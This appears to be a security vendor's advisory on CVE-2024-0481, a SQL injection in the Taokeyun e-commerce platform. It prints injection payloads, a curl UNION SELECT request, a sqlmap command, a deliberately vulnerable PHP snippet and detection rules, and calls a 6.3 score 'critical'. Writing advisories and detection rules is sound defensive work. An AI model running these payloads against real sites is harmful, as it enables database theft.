CVE-2024-0481

Executive Summary

CVE-2024-0481 is a critical SQL injection vulnerability affecting the Taokeyun e-commerce platform up to version 1.0.5. The flaw resides in the shopGoods function within the application/index/controller/app/store/Goods.php file, where the keyword parameter is improperly sanitized before being used in a database query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or further compromise of the underlying server. The exploit has been publicly disclosed, and no official patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of the exploit increases the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a custom PHP application vulnerability within the Taokeyun platform.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need any authentication.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure is possible.
• Integrity (I): Low (L) - Limited data modification is possible.
• Availability (A): Low (L) - Limited impact on service availability.

Threat Level: High due to the public availability of the exploit and the lack of a patch. The low EPSS score suggests limited active exploitation, but this can change rapidly.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the shopGoods function of the Taokeyun application. The function is designed to handle HTTP POST requests for searching or listing goods. The keyword parameter is taken directly from user input and concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path:

1. An HTTP POST request is sent to the endpoint that triggers shopGoods.
2. The keyword parameter is extracted from the request.
3. This value is directly embedded into a SQL query string, e.g., SELECT * FROM goods WHERE name LIKE '%$keyword%'.
4. An attacker can inject SQL metacharacters (e.g., single quote ') to break out of the intended query structure and execute arbitrary SQL commands.

Example Injection: An attacker could submit a keyword value like:

' OR '1'='1' -- -

This would modify the query to:

SELECT * FROM goods WHERE name LIKE '%' OR '1'='1' -- -%'

The OR '1'='1' condition makes the WHERE clause always true, potentially returning all records. The -- - comments out the rest of the query.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison.

Vulnerable Code (PHP):

public function shopGoods() {
    $keyword = input('post.keyword');
    $list = db('goods')->where("name LIKE '%$keyword%'")->select();
    return json($list);
}

Patched Code (Hypothetical):

public function shopGoods() {
    $keyword = input('post.keyword');
    $list = db('goods')->where('name LIKE ?', ['%' . $keyword . '%'])->select();
    return json($list);
}

The patched version uses parameterized queries (prepared statements) to safely bind the user input, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Taokeyun instance (version <= 1.0.5).
• Network access to the application.

Exploitation Steps:

1. Identify the vulnerable endpoint. Typically, it is accessible via a POST request to a URL like /index.php/index/app/store/shopGoods.
2. Craft a malicious POST request with an injected keyword parameter.

Example Exploit (using curl):

curl -X POST http://target.com/index.php/index/app/store/shopGoods \
  -d "keyword=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

Note: The number of columns in the UNION SELECT must match the original query's column count. This can be determined through trial and error or by analyzing the application code.

3. The response will contain the injected data, confirming the SQL injection.

Advanced Exploitation:

• Use sqlmap for automated exploitation:

sqlmap -u "http://target.com/index.php/index/app/store/shopGoods" --data="keyword=test" --batch --dbs

Blue Team

Detection and Response:

1. Monitor Web Server Logs: Look for unusual POST requests to the shopGoods endpoint containing SQL metacharacters (e.g., ', --, UNION, SELECT).
2. WAF Rules: Deploy Web Application Firewall (WAF) rules to block requests with suspicious patterns in the keyword parameter.
3. Database Monitoring: Monitor database logs for anomalous queries, especially those with UNION, OR, or AND operators.
4. Network Segmentation: Isolate the Taokeyun application from sensitive databases to limit the impact of a successful injection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /index.php/index/app/store/shopGoods with a keyword parameter containing SQL injection patterns.
  • Outbound database connections from the web server to unexpected IP addresses (data exfiltration).
• File IOCs:
  • Suspicious files in the web root (e.g., webshells) created after exploitation.
• Log IOCs:
  • Web server logs showing 400 or 500 errors from the shopGoods endpoint.
  • Database logs showing queries with UNION, OR 1=1, or other injection patterns.

Detection Engineering

YARA Rule

rule CVE_2024_0481_SQLi_Keyword {
    meta:
        description = "Detects SQL injection attempts targeting the keyword parameter in Taokeyun shopGoods"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0481"
    strings:
        $s1 = "keyword=" nocase
        $s2 = "' OR " nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "--" nocase
        $s5 = "/*" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-0481 SQL Injection in Taokeyun shopGoods
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against the keyword parameter in Taokeyun shopGoods endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php/index/app/store/shopGoods'
        cs-uri-query|contains: 'keyword='
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate search queries containing SQL keywords (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0481 SQL Injection in Taokeyun shopGoods"; flow:to_server,established; content:"POST"; http_method; content:"/index.php/index/app/store/shopGoods"; http_uri; content:"keyword="; http_client_body; pcre:"/(\x27|%27).*(OR|or).*(SELECT|select)/Pi"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, temporarily disable the shopGoods function or the entire /index.php/index/app/store/ route until a patch is applied.
2. Input Validation: Implement strict input validation for the keyword parameter. Allow only alphanumeric characters and spaces.
3. WAF Rules: Deploy WAF rules to block SQL injection patterns.

Long-term Fix:

• Apply Parameterized Queries: Rewrite the shopGoods function to use prepared statements or parameterized queries.
• Upgrade: Monitor the Taokeyun vendor for an official patch and apply it as soon as it becomes available.
• Code Audit: Conduct a thorough security audit of the entire application for similar vulnerabilities.

Workaround:

• If patching is not possible, consider using a reverse proxy or API gateway to inspect and sanitize incoming requests before they reach the vulnerable application.

Valters IT
Securing Digital Frontiers